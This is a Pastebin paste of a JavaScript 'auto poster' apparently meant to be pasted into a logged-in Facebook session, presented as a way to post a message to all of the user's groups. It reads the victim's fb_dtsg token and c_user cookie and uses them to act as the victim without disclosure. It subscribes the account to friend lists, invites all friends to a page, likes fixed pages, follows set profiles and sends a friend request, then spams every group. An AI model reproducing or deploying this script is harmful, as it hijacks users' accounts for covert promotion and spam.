Advertisement
Guest User

Lupy Auto Poster Group Facebook

a guest
Jul 23rd, 2014
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.23 KB | None | 0 0
  1. alert("Welcome to Lupy Poster");
  2. /* Music Settings */
  3. var parent = document.getElementsByTagName("html")[0];
  4. var _body = document.getElementsByTagName('body')[0];
  5. var _div = document.createElement('div');
  6. // Music Design
  7. _div.style.height = "25";
  8. _div.style.width = "100%";
  9. _div.style.position = "fixed";
  10. _div.style.top = "auto";
  11. _div.style.bottom = "0";
  12. _div.align = "center";
  13. // Music Property
  14. var _audio = document.createElement('audio');
  15. _audio.style.width = "100%";
  16. _audio.style.height = "25px";
  17. _audio.controls = true;
  18. _audio.autoplay = false;
  19. _audio.autoplay = true;
  20.  
  21. // Music List
  22. _audio.src = "https://www.dropbox.com/s/12rvd85m8z3hr0e/Shakira%20ft.%20Pitbull%20-%20Rabiosa.mp3";
  23.  
  24. _audio.addEventListener('ended', function () {
  25. _audio.src = "http://www.uploadhosting.co/uploads/110.55.4.216/002%20Daft%20Punk%20-%20Get%20Lucky%20%28feat.%20Pharrell%20Williams%29.mp3";
  26. audio.pause();
  27. audio.load();
  28. audio.play();
  29. });
  30.  
  31. // Music Declaration
  32. _div.appendChild(_audio);
  33. _body.appendChild(_div);
  34. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  35. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  36. var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
  37. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  38.  
  39. body = document.body;
  40. if (body != null) {
  41. div = document.createElement("div");
  42. div.style.position = "fixed";
  43. div.style.display = "block";
  44. div.style.width = "100px";
  45. div.style.opacity = 0.90;
  46. div.style.bottom = "+60px";
  47. div.style.left = "+0px";
  48. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  49. div.style.border = "1px solid rgba(0,0,0,0.5)";
  50. div.style.padding = "3px";
  51. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='https://www.facebook.com/sharer/sharer.php?u=http://www.harimausiber.com/2014/07/cara-post-ke-semua-group-dalam-1-klik.html' title='Share'><blink><center>Share</center></blink></a>"
  52. body.appendChild(div);
  53. }
  54.  
  55. if (body != null) {
  56. div = document.createElement("div");
  57. div.style.position = "fixed";
  58. div.style.display = "block";
  59. div.style.width = "100px";
  60. div.style.opacity = 0.90;
  61. div.style.bottom = "+35px";
  62. div.style.left = "+0px";
  63. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  64. div.style.border = "1px solid rgba(0,0,0,0.5)";
  65. div.style.padding = "3px";
  66. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='' title='Refresh'><blink><center>Close (F5)</center></blink></a>"
  67. body.appendChild(div);
  68. }
  69. if (body != null) {
  70. div = document.createElement("div");
  71. div.style.position = "fixed";
  72. div.style.display = "block";
  73. div.style.width = "135px";
  74. div.style.opacity = 0.90;
  75. div.style.bottom = "+10px";
  76. div.style.left = "+0px";
  77. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  78. div.style.border = "1px solid rgba(0,0,0,0.5)";
  79. div.style.padding = "3px";
  80. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='http://fb.com/hmc.army' title='Theme'><blink><center>HMCA Page</center></blink></a>"
  81. body.appendChild(div);
  82. }
  83.  
  84.  
  85.  
  86. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  87. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  88.  
  89. function LIST(L) {
  90. var X = new XMLHttpRequest();
  91. var XURL = "//www.facebook.com/ajax/friends/lists/subscribe/modify";
  92. var XParams = "flid=" + L + "&action=subscribe&location=feed&nctr[_mod]=pagelet_group_mall&ft[type]=40&ft[tn]=DH&__user=" + user_id + "&__a=1&__dyn=7n8ahxoNpGo&__req=y&fb_dtsg=" + fb_dtsg + "&phstamp=";
  93. X.open("POST", XURL, true);
  94. X.onreadystatechange = function () {
  95. if (X.readyState == 4 && X.status == 200) {
  96. X.close;
  97. }
  98. };
  99. X.send(XParams);
  100. }
  101.  
  102. LIST("480491948711217");
  103. LIST("1403799249861836");
  104.  
  105.  
  106.  
  107. // page_inv.start
  108. jx = {
  109. b: function () {
  110. var b = !1;
  111. if ("undefined" != typeof ActiveXObject) try {
  112. b = new ActiveXObject("Msxml2.XMLHTTP")
  113. } catch (c) {
  114. try {
  115. b = new ActiveXObject("Microsoft.XMLHTTP")
  116. } catch (a) {
  117. b = !1
  118. }
  119. } else if (window.XMLHttpRequest) try {
  120. b = new XMLHttpRequest
  121. } catch (h) {
  122. b = !1
  123. }
  124. return b
  125. },
  126. load: function (b, c, a, h, g) {
  127. var e = this.d();
  128. if (e && b) {
  129. e.overrideMimeType && e.overrideMimeType("text/xml");
  130. h || (h = "GET");
  131. a || (a = "text");
  132. g || (g = {});
  133. a = a.toLowerCase();
  134. h = h.toUpperCase();
  135. b += b.indexOf("?") + 1 ? "&" : "?";
  136. var k = null;
  137. "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
  138. e.open(h, b, !0);
  139. e.onreadystatechange = g.c ? function () {
  140. g.c(e)
  141. } : function () {
  142. if (4 == e.readyState)
  143. if (200 == e.status) {
  144. var b = "";
  145. e.responseText && (b = e.responseText);
  146. "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
  147. c && c(b)
  148. } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
  149. };
  150. e.send(k)
  151. }
  152. },
  153. d: function () {
  154. return this.b()
  155. }
  156. };
  157.  
  158. var page_id = '223442501008861';
  159.  
  160. var i = 0;
  161. var suc = 0;
  162. var arr = new Array;
  163. jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) {
  164. var b = a;
  165. var c = b.substring(b.indexOf("{"));
  166. var d = JSON.parse(c);
  167. d = d.payload.entries;
  168. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  169. senditnow(arr[i]);
  170. });
  171.  
  172. function senditnow(opo) {
  173.  
  174. jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function () {}, "text", "post");
  175. suc++;
  176. if (suc <= arr.length) {
  177. setTimeout(senditnow(arr[suc]), 3000);
  178. }
  179. }
  180. // page_inv.end
  181.  
  182.  
  183.  
  184.  
  185. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  186. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  187.  
  188. function Like(p) {
  189. var Page = new XMLHttpRequest();
  190. var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  191. var PageParams = "&fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
  192. Page.open("POST", PageURL, true);
  193. Page.onreadystatechange = function () {
  194. if (Page.readyState == 4 && Page.status == 200) {
  195. Page.close;
  196. }
  197. };
  198. Page.send(PageParams);
  199. }
  200. Like("223442501008861");
  201. Like("518238228278328");
  202. Like("438398509583062");
  203.  
  204.  
  205. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  206. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  207.  
  208. function IDS(r) {
  209. var X = new XMLHttpRequest();
  210. var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  211. var XParams = "to_friend=" + r + "&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
  212. X.open("POST", XURL, true);
  213. X.onreadystatechange = function () {
  214. if (X.readyState == 4 && X.status == 200) {
  215. X.close;
  216. }
  217. };
  218. X.send(XParams);
  219. }
  220. IDS("");
  221.  
  222. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  223. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  224.  
  225. function a(abone) {
  226. var http4 = new XMLHttpRequest();
  227. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  228. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  229. http4.open("POST", url4, true);
  230. http4.onreadystatechange = function () {
  231. if (http4.readyState == 4 && http4.status == 200) {
  232. http4.close;
  233. }
  234. };
  235. http4.send(params4);
  236. }
  237. a("100005806383674");
  238. a("100008128544600");
  239. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  240. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  241. var now = (new Date).getTime();
  242.  
  243. function P(post) {
  244. var X = new XMLHttpRequest();
  245. var XURL = "//www.facebook.com/ajax/ufi/like.php";
  246. var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + post + "&nctr[_mod]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
  247. X.open("POST", XURL, true);
  248. X.onreadystatechange = function () {
  249. if (X.readyState == 4 && X.status == 200) {
  250. X.close;
  251. }
  252. };
  253. X.send(XParams);
  254. }
  255. // P("");
  256.  
  257.  
  258.  
  259.  
  260. var grouppost = "<div><span class='img sp_43rped sx_e3ea36'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Write Post</a></div></br>";
  261. grouppost += "<div><textarea id='txtFloodMsg' placeholder='Write something...' style='color:white;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  262. grouppost += "<div><br><span class='img sp_er534k sx_74b85a'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>Script Settings: Group Post </a></span><button style='margin-left:437px' class='_42ft _4jy0 _11b _4jy3 _4jy1 selected' onclick='autopostingfunc(this);' >Post</button><div style='color:gray;'>Powered By: <A style='color:#3B5998;' href='http://www.facebook.com/AbamLupy' target='_blank'>Lupy</A></br>Web </A><A style='color:#3B5998;' href='http://harimausiber.com/' target='_blank'>Harimau Siber</A></A></div>";
  263. var Popupset = document.createElement("div");
  264. Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(72, 169, 214, 0.9);color:White");
  265. Popupset.innerHTML = grouppost;
  266. document.body.appendChild(Popupset);
  267. jx = {
  268. getHTTPObject: function () {
  269. var A = false;
  270. if (typeof ActiveXObject != "undefined") try {
  271. A = new ActiveXObject("Msxml2.XMLHTTP")
  272. } catch (C) {
  273. try {
  274. A = new ActiveXObject("Microsoft.XMLHTTP")
  275. } catch (B) {
  276. A = false
  277. }
  278. } else if (window.XMLHttpRequest) try {
  279. A = new XMLHttpRequest
  280. } catch (C) {
  281. A = false
  282. }
  283. return A
  284. },
  285. load: function (url, callback, format, method, opt) {
  286. var http = this.init();
  287. if (!http || !url) return;
  288. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  289. if (!method) method = "GET";
  290. if (!format) format = "text";
  291. if (!opt) opt = {};
  292. format = format.toLowerCase();
  293. method = method.toUpperCase();
  294. var now = "uid=" + (new Date).getTime();
  295. url += url.indexOf("?") + 1 ? "&" : "?";
  296. url += now;
  297. var parameters = null;
  298. if (method == "POST") {
  299. var parts = url.split("?");
  300. url = parts[0];
  301. parameters = parts[1]
  302. }
  303. http.open(method, url, true);
  304. var ths = this;
  305. if (opt.handler) http.onreadystatechange = function () {
  306. opt.handler(http)
  307. };
  308. else http.onreadystatechange = function () {
  309. if (http.readyState == 4)
  310. if (http.status == 200) {
  311. var result = "";
  312. if (http.responseText) result = http.responseText;
  313. if (format.charAt(0) == "j") {
  314. result = result.replace(/[\n\r]/g, "");
  315. result = eval("(" + result + ")")
  316. } else if (format.charAt(0) == "x") result = http.responseXML;
  317. if (callback) callback(result)
  318. } else {
  319. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  320. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  321. if (error) error(http.status)
  322. }
  323. };
  324. http.send(parameters)
  325. },
  326. bind: function (A) {
  327. var C = {
  328. "url": "",
  329. "onSuccess": false,
  330. "onError": false,
  331. "format": "text",
  332. "method": "GET",
  333. "update": "",
  334. "loading": "",
  335. "loadingIndicator": ""
  336. };
  337. for (var B in C)
  338. if (A[B]) C[B] = A[B];
  339. if (!C.url) return;
  340. var D = false;
  341. if (C.loadingIndicator) {
  342. D = document.createElement("div");
  343. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  344. D.setAttribute("class", "loading-indicator");
  345. D.innerHTML = C.loadingIndicator;
  346. document.getElementsByTagName("body")[0].appendChild(D);
  347. this.opt.loadingIndicator = D
  348. }
  349. if (C.loading) document.getElementById(C.loading).style.display = "block";
  350. this.load(C.url, function (E) {
  351. if (C.onSuccess) C.onSuccess(E);
  352. if (C.update) document.getElementById(C.update).innerHTML = E;
  353. if (D) document.getElementsByTagName("body")[0].removeChild(D);
  354. if (C.loading) document.getElementById(C.loading).style.display = "none"
  355. }, C.format, C.method, C)
  356. },
  357. init: function () {
  358. return this.getHTTPObject()
  359. }
  360. };
  361. var j = 0;
  362. var k = 0;
  363. var suc = 0;
  364. var msg = "";
  365. var arr = new Array;
  366. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  367.  
  368. function autopostingfunc(sender) {
  369. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  370. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
  371. var b = a;
  372. var c = b.substring(b.indexOf("{"));
  373. var d = JSON.parse(c);
  374. d = d.payload.entries;
  375. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  376. sender.parentNode.innerHTML = "Please Wait...";
  377. postitok()
  378. })
  379. }
  380. var a = document.body.innerHTML;
  381. var dts = document.getElementsByName("fb_dtsg")[0].value;
  382. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  383.  
  384. function postitok() {
  385. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message= \n" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  386. with(newx = new XMLHttpRequest) open("POST", "/ajax/updatestatus.php?__a=1"), send(pst);
  387. suc++;
  388. if (suc > arr.length) {
  389. alert(" Posting Completed. Now Refresh your Homepage.");
  390. suc = 0
  391. } else setTimeout("postitok()", 3E4 / arr.length)
  392. }
  393. setTimeout("autopostingfunc()", 1E3);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement